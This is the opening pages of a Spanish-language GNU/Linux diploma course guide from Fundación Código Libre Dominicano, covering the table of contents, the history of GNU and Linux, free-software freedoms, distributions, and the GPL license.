Guia GNU Instructor 2011

164
Fundación Código Libre Dominicano http://www.codigolibre.org Guía para el GNU/Diplomado Para el Instructor y para el Estudiante Fundación Código Libre Dominicana Diplomado de GNU/Linux 1

Transcript of Guia GNU Instructor 2011

Page 1: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Guía para el GNU/Diplomado

Para el Instructor y para el Estudiante

Fundación Código Libre Dominicana

Diplomado de GNU/Linux1

Page 2: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Tabla de contenidoCopyright ............................................................................7Prefacio .............................................................................80.0 Historia GNU/Linux ..............................................................10

Stallman, sin drivers..................................................................100.1 Que es GNU/Linux / Creadores ....................................................11

Kernel monolítico de Linux.............................................................130.2 Sus Inicios .....................................................................130.3 Filosofía Unix ..................................................................13

Todo es un Archivo.....................................................................14Multi-Usuario..........................................................................14Multi-Tarea............................................................................14La navaja Suiza........................................................................14

0.4 Distribuciones o Sabores ........................................................15Linux y el proyecto GNU................................................................15

0.5 Licencia GPL ....................................................................160.6 Instalación y Particionamiento ..................................................16

Sobre el particionamiento:.............................................................17Journaling.............................................................................17Niveles del Journaling.................................................................18

0.7 Métodos de Instalación...........................................................210.8 Gestores de Arranque ............................................................21

Características de GRUB................................................................22Terminología de GRUB...................................................................22Interfaces de GRUB.....................................................................23Proceso de inicio de GRUB..............................................................23LILO...................................................................................24LILO y el proceso de arranque de x86...................................................24Diferencias entre LILO y GRUB..........................................................24

0.9 Practica Básico Capitulo 0.......................................................251.0 Comandos GNU / UNIX..............................................................251.1 Iniciando Linux..................................................................251.2 Que es el shell..................................................................251.3 Comandos Básicos.................................................................261.4 cd, ls, file, cat, mkdir, mv, rm, touch, more, less, wc, head, less, cp, diff, find, locate, date, cal, whoami, echo, clear, exit...................................261.5 Variables........................................................................31

Manejo de Variables del Entorno .......................................................31Definiendo variables locales Específicas de usuario....................................32

1.6 Archivos ocultos.................................................................331.7 Completando comandos con TAB.....................................................331.8 Alias............................................................................341.9 Comando history..................................................................341.10 Practica Básico Capitulo 1......................................................342.0 Jerarquía de Directorios.........................................................342.1 Estructura de directorios........................................................342.2 /................................................................................352.3 /home/...........................................................................362.5 /usr/............................................................................362.6 /opt/............................................................................382.7 /proc/...........................................................................38

Diplomado de GNU/Linux2

Page 3: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

2.8 /etc/............................................................................392.9 /bin.............................................................................392.10 /sbin...........................................................................392.11 /tmp............................................................................402.12 /boot...........................................................................402.13 /mnt............................................................................402.14 /lib............................................................................402.15 Practica Básico Capitulo 2......................................................413.0 Expresiones Regulares y flujos de texto..........................................413.1 Comodines........................................................................413.2 Tuberías.........................................................................423.3 sed, grep y awk..................................................................42

sed....................................................................................42grep...................................................................................42awk....................................................................................43

3.4 sort.............................................................................433.5 cut..............................................................................433.6 expand...........................................................................443.7 mount............................................................................443.8 paste............................................................................443.9 pr...............................................................................443.10 split...........................................................................453.11 tac.............................................................................453.12 tr..............................................................................453.13 tee.............................................................................463.14 xargs...........................................................................463.15 Redireccionamiento .............................................................46

Entrada y salida.......................................................................46Redireccionando stdout.................................................................47Redireccionando stdin..................................................................47Tuberías...............................................................................47Redireccionando stderr.................................................................48

Fundamentos..........................................................................500.0 Instalación de Paquetes rpm y deb................................................500.1 Instalación y Desinstalación con rpm.............................................500.2 Instalación y Desinstalación con deb.............................................500.3 Manejadores de paquetes gráficos y de consola....................................510.4 Administración de Paquetes.......................................................510.5 Tipos de paquetes (rpm, deb, targz)..............................................520.6 Actualizar paquetes..............................................................520.7 Forzando paquetes................................................................520.8 Dependencias.....................................................................520.9 Cuestionar y Verificar paquetes..................................................520.10 Paquetes tar.gz.................................................................520.11 Comando tar.....................................................................530.12 gzip gunzip bzip2 bunzip2 zcat compress cpio afio...............................530.13 Compilando desde el fuente......................................................570.14 Construyendo paquetes...........................................................570.15 Practica Fundamentos Capitulo 0.................................................571.0 Sistema X Window ................................................................571.1 Servidor X ......................................................................581.2 Xorg.............................................................................59

Diplomado de GNU/Linux3

Page 4: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Instalación de Xorg....................................................................59Configuración de X.....................................................................59

1.3 Protocolo X .....................................................................641.4 Administradores de Ventana ......................................................671.5 Entornos Gráficos (Desktop Manager o Destop Enviroment)..........................67

KDE....................................................................................68GNOME..................................................................................68

1.6 Display Manager .................................................................69Uso de XDM ............................................................................70Alternativas a XDM ....................................................................71

1.7 Escritorio Remoto................................................................71Elementos básicos .....................................................................71Comunicación ..........................................................................72Programas .............................................................................72Modelo Cliente-servidor................................................................72Características........................................................................73Ventajas...............................................................................73Desventajas............................................................................74Dirección..............................................................................74Ejemplos...............................................................................75XDMCP .................................................................................75X (conexión remota)....................................................................76Xnest..................................................................................77Para abrir un escritorio remoto .......................................................78VNC....................................................................................78vino...................................................................................79NX.....................................................................................79Objetivos de NX........................................................................80

1.8 Manejo Desktop...................................................................81Multimedia.............................................................................81Oficina................................................................................81Internet...............................................................................82Gráficos...............................................................................82Programación...........................................................................82Juegos.................................................................................82Herramientas del sistema...............................................................83Algunos consejos y comandos a NO EJECUTAR..............................................83

1.9 Editores Vi y Emacs .............................................................84Emacs..................................................................................84El minibuffer:.........................................................................84

1.9 VI...............................................................................851.10 Practica Fundamentos Capitulo 1.................................................86Administración.......................................................................88Procesos GNU/Linux...................................................................880.0 ¿Que es un proceso?..............................................................880.1 Manejo de procesos...............................................................880.2 Creando procesos.................................................................890.3 Comando ps.......................................................................890.4 Comando top......................................................................900.5 Estado de los procesos...........................................................910.6 CTRL+z, bg, fg y &...............................................................910.7 Comando jobs.....................................................................920.8 Enviando señales con kill........................................................92

Diplomado de GNU/Linux4

Page 5: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

0.9 Cambiando prioridad con nice/renice..............................................930.10 Procesos en /proc...............................................................940.11 Demonios........................................................................970.12 Runlevels.......................................................................970.13 init............................................................................980.14 Comando service.................................................................980.15 chkconfig.......................................................................980.16 Invoke-rc.d.....................................................................990.17 update-rc.d....................................................................1000.18 Practica administración Capitulo 0.............................................1001.0 Sistema de Archivos y Permisos..................................................1001.1 Sistema de archivos ............................................................1011.2 Tipos de sistemas de archivos...................................................1011.3 Permisos de archivos y directorios (chmod,chown,chgrp)..........................1011.4 Sticky bit, SUID y SGID.........................................................1041.5 Links duros y simbólicos........................................................1051.6 Inodos..........................................................................1061.7 Comandos fdisk, mke2fs, cfdisk, fsck...........................................1061.8 Sistema de archivos distribuidos (DFS)..........................................1071.9 /etc/fstab /etc/mtab /etc/inittab...............................................1081.10 Practica Administración Capitulo 1.............................................1102.0 Administración de Usuarios......................................................1102.1 Usuarios y Grupos...............................................................1102.2 Cuenta root.....................................................................1102.3 Comando su......................................................................1102.4 Paquete sudo ...................................................................1112.5 El archivo /etc/passwd..........................................................1122.6 Creando un usuario..............................................................1122.7 Creando, cambiando e identificando un grupo.....................................1142.8 Comando finger..................................................................1152.9 Archivos personales en /home....................................................1152.10 /etc/skel......................................................................1162.11 /etc/profile...................................................................1162.12 Variables de usuario...........................................................1172.13 /etc/shadow....................................................................1182.14 Expiración de cuentas..........................................................1192.15 Asignación de usuarios a otros grupos..........................................1192.16 Practica Administración Capitulo 2.............................................1193.0 Programando tareas y Backup.....................................................1203.1 cron y sus archivos.............................................................1203.2 crontab, at y batch.............................................................1203.3 at .............................................................................1213.4 batch...........................................................................1223.5 Cuando hacer las Copias de Seguridad/Respaldo(Backups): ........................1223.6 Donde almacenar los Backups ....................................................1223.7 tar, cpio, afio ................................................................1233.8 cpio............................................................................1233.9 El Directorio /var/log .........................................................1233.10 dmesg, last y lastlog .........................................................1243.11 /etc/syslog.conf: .............................................................1253.12 /etc/logrotate.conf: ..........................................................125

Diplomado de GNU/Linux5

Page 6: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

0.0 Introducción a Networking.......................................................127Modelo OSI..........................................................................127

El modelo de referencia TCP/IP........................................................128Comparación entre el modelo OSI y el modelo TCP/IP ...................................129Similitudes ..........................................................................129Diferencias ..........................................................................129

0.1 ifconfig .......................................................................1290.2 resolv.conf.....................................................................1310.3 iwconfig........................................................................1320.4 iwlist..........................................................................1340.5 ip .............................................................................1340.6 route ..........................................................................1340.7 traceroute......................................................................1350.8 tcpdump ........................................................................1350.9 arp.............................................................................1350.10 nmap ..........................................................................1360.11 netstat........................................................................1360.12 netcat, o nc ..................................................................1360.13 ping ..........................................................................1370.14 dig............................................................................1370.15 nslookup ......................................................................138Glosario de términos................................................................139

Diplomado de GNU/Linux6

Page 7: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Copyright

Esta documentación es regida por los reglamentos de la GNU Free Documentation License y la GNU General Public License v3, siéntase libre de copiar, modificar, aprender, distribuir y redistribuir esta documentación; haga uso de su derecho como si fuere su deber.

Diplomado de GNU/Linux7

Page 8: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Prefacio Esta guía esta diseñada para marcar los parámetros y/o pasos a seguir al instructor en la capacitación del estudiante, por otro lado, para que los estudiantes tengan un resumen de lo que se abarca en el diplomado de GNU/Linux que se imparte en la Fundación de Código Libre Dominicano.Creemos firmemente que si el estudiante se apega a esta guía como fuente teórica, podrá obtener los conocimientos necesarios para convertirse en un excelente administrador de sistemas GNU/Linux. Este cuaderno fue iniciativa de José Paredes y Jonathan Montero.

Esta guía esta dedicada a: Huáscar Martín Rodríguez: Por haber creído a ojos cerrados, porque cuando viste creíste aun mas, porque aun después de tu partida, sabemos que seguirás creyendo en el software libre, pero todavía mas, en nosotros.

Antonio Perpiñán: Por creer en nosotros y nunca dudar de lo que somos capaces cuando contamos con su entera aprobación y confianza.

Cualquier sugerencia, corrección, duda, aclaración y/o comentario sobre este cuaderno de trabajo, siéntase libre se enviar un correo a: [email protected] [email protected]

Diplomado de GNU/Linux8

Page 9: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

GNU/Básico0.0 Historia GNU/Linux0.1 Que es GNU/Linux / Creadores0.2 Sus Inicios 0.3 Filosofía Unix0.4 Distribuciones o Sabores0.5 Licencia GPL0.6 Instalación y Particionamiento0.7 Métodos de Instalación0.8 Gestores de Arranque0.9 Practica Básico Capitulo 01.0 Comandos GNU / UNIX1.1 Iniciando Linux1.2 Que es el shell1.3 Comandos Básicos1.4 (cd,ls,file,cat,mkdir,mv,rm,touch,more,less,wc,head.less.cp,diff,find,locate)1.5 Variables1.6 Archivos ocultos1.7 Completando comandos con TAB1.8 Alias1.9 Comando history1.10 Practica Básico Capitulo 1

2.0 Jerarquía de Directorios2.1 Estructura de directorios2.2 /2.3 /home/2.4 /var/2.5 /usr/2.6 /opt/2.7 /proc/2.8 /etc/2.9 /bin2.10 /sbin2.11 /tmp2.12 Practica Básico Capitulo 2

3.0 Expresiones Regulares y Flujos de Texto3.1 Comodines3.2 Tuberias3.3 sed, grep y awk3.4 sort3.5 cut3.6 expand3.7 mount3.8 paste3.9 pr3.10 split3.11 tac3.12 tr3.13 tee3.14 xargs3.15 Redireccionamientos3.16 Practica Básico Capitulo 3

Diplomado de GNU/Linux9

Page 10: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

0.0 Historia GNU/Linux Para entender todo el movimiento del software libre, debemos situarnos a finales de la década de los sesenta, principios de los setenta. En aquellos tiempos las grandes compañías de ordenadores no otorgaban el valor que hoy en día se da al software. En su gran mayoría eran fabricantes de ordenadores que obtenían sus principales ingresos vendiendo sus grandes máquinas, a las que incorporaban algún tipo de sistema operativo y aplicaciones. Las universidades tenían permiso para tomar y estudiar el código fuente del sistema operativo para fines docentes. Los mismos usuarios podían pedir el código fuente de drivers y programas para adaptarlos a sus necesidades. Se consideraba que el software no tenía valor por sí mismo si no estaba acompañado por el hardware que lo soportaba. En este entorno, los laboratorios Bell (AT&T) diseñaron un sistema operativo llamado UNIX, caracterizado por la buena gestión de los recursos del sistema, su estabilidad y su compatibilidad con el hardware de diferentes fabricantes (para homogeneizar todos sus sistemas). Este último hecho fue importantísimo (hasta entonces todos los fabricantes tenían sus propios operativos incompatibles con los otros), ya que devino el factor que le proporcionó mucha popularidad.

Stallman, sin drivers

El mismo Stallman cuenta como anécdota lo mucho que se enfadó al descubrir que la compañía que les había vendido una nueva impresora para el laboratorio donde trabajaba no le quería facilitar el código fuente de los drivers. ¡Él sólo quería modificarlos para que le avisara automáticamente cuando se atascaba el papel! La compañía se negó a proporcionárselos.

Poco a poco, las grandes empresas empezaron a tomar conciencia del valor del software: primero fue IBM la que en 1965 dejó de dar el código fuente de su sistema operativo, a finales de los setenta Digital Research empezó a vender el suyo, etc. Este hecho hizo que todas las compañías se dieran cuenta de que el software podía ser muy rentable y les podía aportar grandes beneficios. A partir de este hecho, la mayoría de las empresas empezaron a poner reticencias a dejar el código fuente de sus programas y sistemas operativos, y empezaron a vender sus programas como un valor añadido a su hardware. En este entorno cada vez más cerrado, Richard Stallman (que trabajaba en el MIT, Massachusetts Institute of Technology) se sintió indignado al comprobar que cada vez era más difícil conseguir el código fuente de los programas que utilizaba para adaptarlos a sus necesidades, tal como había hecho hasta entonces. A partir de ese momento, Stallman decidió ser consecuente con sus ideales e iniciar un gran proyecto para intentar abrir otra vez el código fuente de los programas. Consciente de que no podría conseguir que las compañías cedieran en este punto, se propuso crear su propio sistema operativo y aplicaciones iniciando un proyecto denominado GNU.De especial interés para entender los motivos que llevaron a Stallman a iniciar GNU es su primer manifiesto, el documento donde explicó a toda la comunidad en qué consistiría el proyecto, cómo lo orientaría y por qué tenía que hacerlo. En él empezó a describir el concepto de software libre y para qué creía necesario que programadores y desarrolladores de todo el mundo contribuyeran con él.

Aunque en muchas ocasiones se confunde el concepto de software libre con el de software gratuito (en inglés, free tiene los dos significados), en posteriores documentos se ha dejado muy claro que el software libre no debe por qué ser gratuito. Hemos de entender como software libre programas de los cuales podemos conseguir su código fuente,

Diplomado de GNU/Linux10

Page 11: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

estudiarlo, modificarlo y redistribuirlo sin que nos obliguen a pagar por ello. Lo que debemos tener claro es que sí que podemos pedir el dinero que queramos por los programas y su código fuente, el soporte que podemos ofrecer a los usuarios, los libros que vendamos o el material que proporcionemos, tal y como muchas compañías que distribuyen GNU/Linux hacen. Sin embargo, en ningún momento, podemos obligar a que los usuarios no distribuyan el software que les hemos vendido. Éste debe poder ser distribuido de manera libre. Es un modo diferente de entender el software al que estamos acostumbrados. En muchos de los textos de la FSF (Free Software Foundation) se habla más de filosofía que de ingeniería. Debemos entender todo este movimiento más como un modo de pensar o hacer las cosas que como una compañía más de software.

La filosofía que en la FSF se tiene del software lo define con las siguientes cuatro libertades:•La libertad 0: Se refiere a la libertad de poder usar el programa para cualquier propósito.•La libertad 1: Es la que permite estudiar cómo funciona el programa y adaptarlo a las propias necesidades. El acceso al código fuente es una condición necesaria para garantizar esta libertad.•La libertad 2: Es la que permite distribuir libremente copias del software, ayudando al vecino.•La libertad 3: Es la que permite mejorar el programa y hacer públicas las propias mejoras, en beneficio de toda la comunidad. El acceso al código fuente, asimismo, es un requisito imprescindible para asegurar esta libertad.

Para dar todas estas libertades al software que se desarrollaba en el proyecto y a los usuarios finales del mismo se escribió la licencia GPL (General Public License), con la cual se ha protegido todo este tipo de programas. Esta licencia pone por escrito las ideas anteriormente comentadas.El proyecto empezó a producir software a partir de 1984, comenzando con el desarrollo de todas las herramientas necesarias para poder implementar un sistema operativo completo. Aunque realizar un proyecto de estas características es un proceso largo y complejo, desde el principio muchos programadores y desarrolladores de software se vieron cautivados por la idea de Stallman y empezaron a colaborar con él de manera gratuita. La comunidad no paró de crecer, y poco a poco empezaron a disponer de las herramientas necesarias (editores, compiladores, etc.) para implementar el núcleo del sistema operativo, que era la tarea que requería las herramientas que se estaban desarrollando.Desde el primer momento se quiso crear un sistema operativo parecido a UNIX y siguiendo las normas POSIX (Portable Operating System Interface). Si bien UNIX también tenía sus problemas y carencias, era, y sigue siendo, suficientemente bueno como para adaptarse a la mayoría de las necesidades. La tarea de diseñar y escribir el núcleo del sistema operativo fue la que se dejó para el final del proceso. Aún actualmente está por finalizar definitivamente y el núcleo del GNU, llamado Hurd, permanece en fase de desarrollo.

0.1 Que es GNU/Linux / Creadores En este contexto, y cuando la FSF todavía no tenía ningún núcleo estable para su sistema operativo, un profesor de la Universidad de Holanda, Andrew Tanenbaum, decidió escribir un sistema operativo para que sus estudiantes pudieran estudiarlo. Igual que Stallman, hasta el momento había podido utilizar el código fuente del UNIX de AT&T para que sus alumnos aprendieran a diseñar sistemas operativos. Su idea era escribir un

Diplomado de GNU/Linux11

Page 12: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

sistema operativo que pudiera ser estudiado y modificado por quien quisiera hacerlo. En 1987 se puso manos a la obra y llamó a su proyecto mini UNIX, que dio lugar a MINIX. Al no utilizar ni una sola línea de código del UNIX de AT&T, no hay ninguna restricción en tomar el código, utilizarlo y modificarlo libremente.Tecnología micro-kernel La tecnología micro-kernel se basa en dividir las diferentes funcionalidades del núcleo de un sistema operativo en programas totalmente separados y que se comunican entre sí. Esto lo hace muy modular, lo que facilita muchísimo el test, la detección y la corrección de errores, el mantenimiento, etc. Actualmente, algunos sistemas operativos como Amoeba, Chorus, Mach o WindowsNTTM han incorporado este tipo de tecnología. Tanenbaum quiso crear un sistema orientado a fines docentes, por lo que lo diseñó utilizando una arquitectura micro-kernel, ideal para una fácil comprensión, y aportando una tecnología muy novedosa para la época que le permitía versatilidad, multiplataforma, etc. Éste ha sido uno de los puntos fuertes y débiles a la vez del MINIX: aunque el sistema es una pequeña joya para su estudio y diseño, es muy probable que nunca se pueda utilizar en entornos reales.Se optó por hacerlo entendedor, modular y muy pedagógico, pero no rápido. De todos modos, Tanenbaum tampoco pretendía eso; a lo largo de los años MINIX ha ido evolucionando y realmente hoy en día todavía sigue existiendo y siendo estudiado por muchos alumnos de universidades de todo el mundo.Aquí es cuando entra en juego Linux. Mientras la FSF seguía con su gran proyecto proporcionando herramientas para la construcción de un sistema operativo, Tanenbaum orientaba MINIX para fines docentes y muchas empresas seguían haciendo evolucionar sus propias versiones de UNIX. Linus Torvalds, estudiante de la Universidad de Helsinki, decide crear en agosto de 1991 su propio núcleo para un nuevo sistema operativo, Linux. Su idea era crear un UNIX para PC con el fin de que todos los que quisieran lo pudieran utilizar en su ordenador. La primera aparición en escena que hizo fue en un debate sobre MINIX y sistemas operativos, donde expuso las siguientes ideas:

Carta en inglesHello everybody out there using minix - I'm doing a (free) operating system (just a hobby, won't be big and professional like gnu) for 386(486) AT clones. This has been brewing since april, and is starting to get ready. I'd like any feedback on things people like/dislike in minix, as my OS resembles it somewhat (same physical layout of the file-system (due to practical reasons) among other things). I've currently ported bash(1.08) and gcc(1.40), and things seem to work. This implies that I'll get something practical within a few months, and I'd like to know what features most people would want. Any suggestions are welcome, but I won't promise I'll implement them :-)

Carta en españolHola a todos los que usan minixEstoy haciendo un sistema operativo (gratuito) (sólo un hobby, no será como GNU, grande y profesional) de 386 (486) AT clones. Esto ha estado gestando desde abril, y está empezando a prepararse. Me gustaría algún comentario sobre las cosas que a la gente le gusta/disgusta de minix, ya que mi sistema operativo que se asemeja un poco (misma disposición física del sistema de archivos (por razones prácticas), entre otras cosas).Actualmente he portado bash (1.08) y gcc (1.40), y las cosas parecen funcionar.Esto implica que tendré algo práctico dentro de unos meses, y me gustaría saber qué

Diplomado de GNU/Linux12

Page 13: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

características de la mayoría de la gente quiere. Cualquier sugerencia es bienvenida, pero no voy a prometer que voy a ponerlas en práctica :-)

Si accediéramos al foro de debate donde apareció este primer mensaje, veríamos cómo rápidamente gente de todo el mundo empezó a interesarse por este nuevo sistema, que al utilizar el compilador e intérprete de comandos de GNU (gcc y bash) como piezas fundamentales, también tenía las características de software libre. Aunque en palabras del mismo Torvalds, si él hubiera sabido la cantidad de trabajo necesario para lograr que su idea funcionase, nunca lo hubiera hecho: esfuerzos de muchos expertos en informática de todo el mundo hicieron posible este proyecto.

Kernel monolítico de Linux

Linux, el núcleo de GNU/Linux, es de tipo monolítico. Esto indica que no se separansus diferentes funcionalidades en distintos módulos, sino que todo forma parte de un mismo programa. El principal inconveniente de este tipo de diseño es que la localización de errores y su mantenimiento son muy costosos. En contrapartida, el rendimiento que se consigue es mucho mayor que en otros tipos de diseño.

De hecho, en los primeros años de su existencia, GNU/Linux se identificaba como el sistema operativo de los hackers. Su difícil instalación, manipulación y falta de drivers lo hacían una herramienta apta únicamente para gente muy entendida en el tema. Fueron estos primeros usuarios los que diseñaron los drivers para los discos, impresoras, tarjetas, etc. y los que empezaron a dar a conocer al mundo este sistema. Poco a poco, el número de usuarios empezó a crecer y actualmente ya existen muchas empresas y grupos de usuarios que crean sus propias distribuciones de GNU/Linux.

0.2 Sus Inicios Desde 1984, Richard Stallman y muchos voluntarios están intentando crear un sistema operativo libre con un funcionamiento similar al UNIX, recreando todos los componentes necesarios para tener un sistema operativo funcional que se convertiría en el sistema operativo GNU. En el comienzo de los años 1990, después de seis años, GNU tenía muchas herramientas importantes listas, como editores de texto, compiladores, depuradores, intérpretes de órdenes etc, excepto por el componente central: el núcleo. Con el surgimiento del kernel Linux, esta laguna fue llenada y surgió el sistema operativo con el kernel Linux en conjunto con las herramientas GNU. De esta manera, Stallman juzga o indica, que este sistema operativo es una "versión modificada" del sistema GNU y por lo tanto debe tener la denominación GNU/Linux. Esta denominación resolvería la confusión entre el núcleo y el sistema operativo completo a que puede llevar, y de hecho ha llevado, la denominación Linux en solitario. Stallman también espera que, con el aporte del nombre GNU, se dé al proyecto GNU que él encabeza el reconocimiento que cree merecer, por haber creado las aplicaciones de sistema imprescindibles para ser un sistema operativo compatible con UNIX.

0.3 Filosofía Unix

¿Por qué tuvo tanto éxito el enfoque de UNIX? Aparentemente, su simplicidad fue un factor decisivo. En su diseño, sus creadores antepusieron la facilidad de comprensión a la eficiencia, de manera que era fácil entender el código y, por ende, adaptarlo a las necesidades de otros. UNIX no es una reliquia del pasado; de hecho, la mayor parte de los sistemas operativos actuales son unaevolución de UNIX. Por eso conviene conocer los principios en los que se fundamenta,

Diplomado de GNU/Linux13

Page 14: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

puesto que esos mismos principios estarán presentes (de una u otra manera) en los sistemas que hoy podamos manejar.

Todo es un Archivo

Esta idea, propia de la orientación a objetos (si bien la precede), consiste en que la unidad básica para la interacción con el sistema es una entidad llamada archivo que, como los archivos en papel, puede abrirse, leerse, avanzar hojas hacia delante y hacia atrás, escribir en él, y cerrarse. Este modelo tan sencillo puede parecer ingenuo, pero ha probado ser extremadamente valioso. Permite a un programa acceder transparentemente a un documento de texto o a un puerto de comunicaciones.

Multi-Usuario

En un sistema multiusuario, cuando alguien quiere acceder a la máquina, debe identificarse, para poder ser reconocido por ésta y permitirle la entrada al sistema, si se trata de un usuario autorizado. Este proceso es el que se conoce como logging in. Durante este proceso, la máquina nos preguntará nuestro nombre de usuario(login) y nuestra contraseña(password). Es el administrador del sistema(root) quien debe crearnos una cuenta en la máquina y quien nos dará los datos. Una vez entremos a nuestra cuenta, nos encontraremos dentro de nuestro directorio HOME (el directorio que nos asigna el administrador para que guardemos nuestros trabajos), y nos aparecerá el prompt del sistema: esto es un símbolo que nos indica que la máquina está lista para recibir comandos. Puede ser algo parecido a:Linux:/home/Usuario#

o bien

Linux:~#

o cambiando # por $, pero en todos los sistemas aparecen de forma parecida a esta. El nombre anterior a los dos puntos es el nombre de la máquina en la que trabaja. El símbolo ~ en la ruta significa que estamos en nuestro directorio HOME. Hay sistemas UNIX que muestran el directorio completo, y los hay que no, para saber si estamos en nuestro HOME, existe ese símbolo de ~.

Multi-Tarea

La palabra multitarea describe la habilidad de ejecutar varios programas al mismo tiempo.GNU/LINUX utiliza la llamada multitarea preventiva, la cual asegura que todos los programas que se están utilizando en un momento dado serán ejecutados, siendo el sistema operativo el encargado de ceder tiempo de microprocesador a cada programa.

La navaja Suiza

UNIX incorpora un conjunto de herramientas que guardan cierta analogía con una navaja multiusos. Son simples, pero hacen muy bien su trabajo. En lugar de construir programas muy complejos, UNIX proporcionaba muchas pequeñas herramientas, y un esquema para poder combinarlas de forma efectiva. Este diseño escala muy bien, permitiendo al sistema crecer, incorporar nuevas herramientas y, a la vez, ser compatible hacia atrás.

Diplomado de GNU/Linux14

Page 15: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

0.4 Distribuciones o Sabores En la actualidad, existen muchas distribuciones diferentes basadas en GNU/Linux. Las hay para toda clase de ordenadores y dispositivos electrónicos: ordenadores portátiles o de sobremesa, pocketPC o PDA, puntos de acceso de redes inalámbricas, etc. La naturaleza del software libre permite esto: cualquiera puede tomar el código desarrollado hasta el momento y adaptarlo a sus propias necesidades. Es un hecho que, cada vez más, empresas y usuarios eligen sistemas basados en GNU/Linux por sus elevadas prestaciones y la cantidad de software disponible.

Linux y el proyecto GNU

Aunque muchas distribuciones de GNU/Linux se denominan solamente Linux, es importante que diferenciemos que realmente Linux es el núcleo del sistema operativo y que el proyecto GNU es el que realmente ha aportado mucha de la estructura para el funcionamiento del mismo.De todos modos, aunque existen decenas de distribuciones, hay algunas más populares que se han extendido mucho. La filosofía de software libre provoca que muchas empresas que han creado sus propias distribuciones de GNU/Linux no restrinjan el acceso a su código. Aun así, el soporte que ofrecen y el material que venden les aportan beneficios, lo que permite su subsistencia.

Así mismo, cabe considerar que en muchas de estas distribuciones se incluye software propietario que algunos usuarios prefieren, si bien en muchos casos existen programas homólogos con licencia Free Software. A continuación realizaremos una breve descripción de algunas de las distribuciones de GNU/Linux:

MCC Interim Linux: es una distribución Linux obsoleta inicialmente desarrollada en febrero de 1992 por Owen Le Blanc del Manchester Computing Centre (MCC), (parte de la Universidad de Manchester, Inglaterra). MCC Interim Linux tiene la distinción de haber sido la primera distribución Linux capaz de ser instalada independientemente en una computadora.

Slackware: una de las primeras distribuciones que aparecieron. Fue creada por Patrick Volkerding y tuvo un gran éxito en sus primeros años de existencia.

Debian GNU/Linux: una de las primeras distribuciones de GNU/Linux que aparecieron y aún siguen existiendo y evolucionado. El sistema de paquetes nos permite diferenciar claramente el software libre del que no lo es, lo que nos permite disponer de todo el sistema solamente con programas de licencia Free Software. Está desarrollada por un grupo de colaboradores distribuidos por todo el mundo y no cuenta con el respaldo de ninguna empresa. Aunque es de las más estables y seguras que existen, su sistema de instalación y configuración necesita de conocimientos previos.

RedHat Linux: junto con SuSE, es una de las distribuciones de mayor popularidad.Está creada por una empresa de Estados Unidos y aporta software de gran calidad. Tiene un entorno muy intuitivo que facilita mucho su instalación y configuración.

SuSE Linux: aunque es una distribución creada bastante recientemente, ha tenido una gran difusión. Está desarrollada por una empresa alemana y aporta mucho software propietario de calidad. Es muy completa y fácil de instalar y mantener, aunque en

Diplomado de GNU/Linux15

Page 16: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

algunos aspectos no se siguen algunos de los estándares de la comunidad.

Knoppix: distribución en un live-CD basada en Debian. Detecta automáticamente todo tipo de hardware y aporta el último escritorio de KDE y la suite OpenOffice.org. Muy útil para demostraciones y usuarios noveles en el sistema.

Fedora: es una distribución Linux para propósitos generales basada en RPM, que se mantiene gracias a una comunidad internacional de ingenieros, diseñadores gráficos y usuarios que informan de fallos y prueban nuevas tecnologías. Cuenta con el respaldo y la promoción de Red Hat.

Ubuntu: es una distribución Linux que ofrece un sistema operativo predominantemente enfocado a ordenadores de escritorio aunque también proporciona soporte para servidores. Basada en Debian GNU/Linux, Ubuntu concentra su objetivo en la facilidad de uso, la libertad en la restricción de uso, los lanzamientos regulares (cada 6 meses) y la facilidad en la instalación. Existe tanto en formato CD-live como en formato instalable. Detecta automáticamente todo tipo de hardware (incluso el más moderno).

Tampoco podemos olvidar que existen otros sistemas operativos compatibles con UNIX y los estándares que se siguen actualmente. Muchos de los conceptos y las herramientas que veremos a lo largo del curso también servirán para estos otros. En especial debemos destacar GNU/Hurd (núcleo desarrollado por el proyecto GNU) y FreeBSD.

0.5 Licencia GPL La Licencia Pública General de GNU o más conocida por su nombre en inglés GNU General Public License o simplemente su acrónimo del inglés GNU GPL, es una licencia creada por la Free Software Foundation a mediados de los 80, y está orientada principalmente a proteger la libre distribución, modificación y uso de software. Su propósito es declarar que el software cubierto por esta licencia es software libre y protegerlo de intentos de apropiación que restrinjan esas libertades a los usuarios.

Este tipo de licenciamiento garantiza que el usuario disponga de las libertades básicas como son las siguientes.

Libertad 0: de ejecutar el programa cuando quieras.Libertad 1: de estudiar el código fuente y modificarlo para que haga lo que quieras.Libertad 2: de copiar el programa y distribuir las copias cuando quieras.Libertad 3: de publicar o distribuir una versión modificada cuando quieras.

0.6 Instalación y Particionamiento La instalación de Linux es muy sencilla, lo único requerido es tener conocimientos previos respecto a las particiones del disco duro. Muchas variantes (como openSUSE) se distribuyen en un disco vivo (en inglés LiveCD o LiveDVD), que permite que el sistema se ejecute en el computador sin tocar el disco duro.Basta con descargar la imagen ISO de una distribución, grabarla en un CD o DVD e iniciar la computadora utilizando dicho disco. Algunas distribuciones muy utilizadas son Suse, Debian, Ubuntu o loDo (esta última es la más común en la plataforma PlayStation 3). La mayoría de las distribuciones son gratuitas y pueden conseguirse fácilmente a través de las páginas web de sus fabricantes o a través de archivos torrent.

Diplomado de GNU/Linux16

Page 17: Guia GNU Instructor 2011

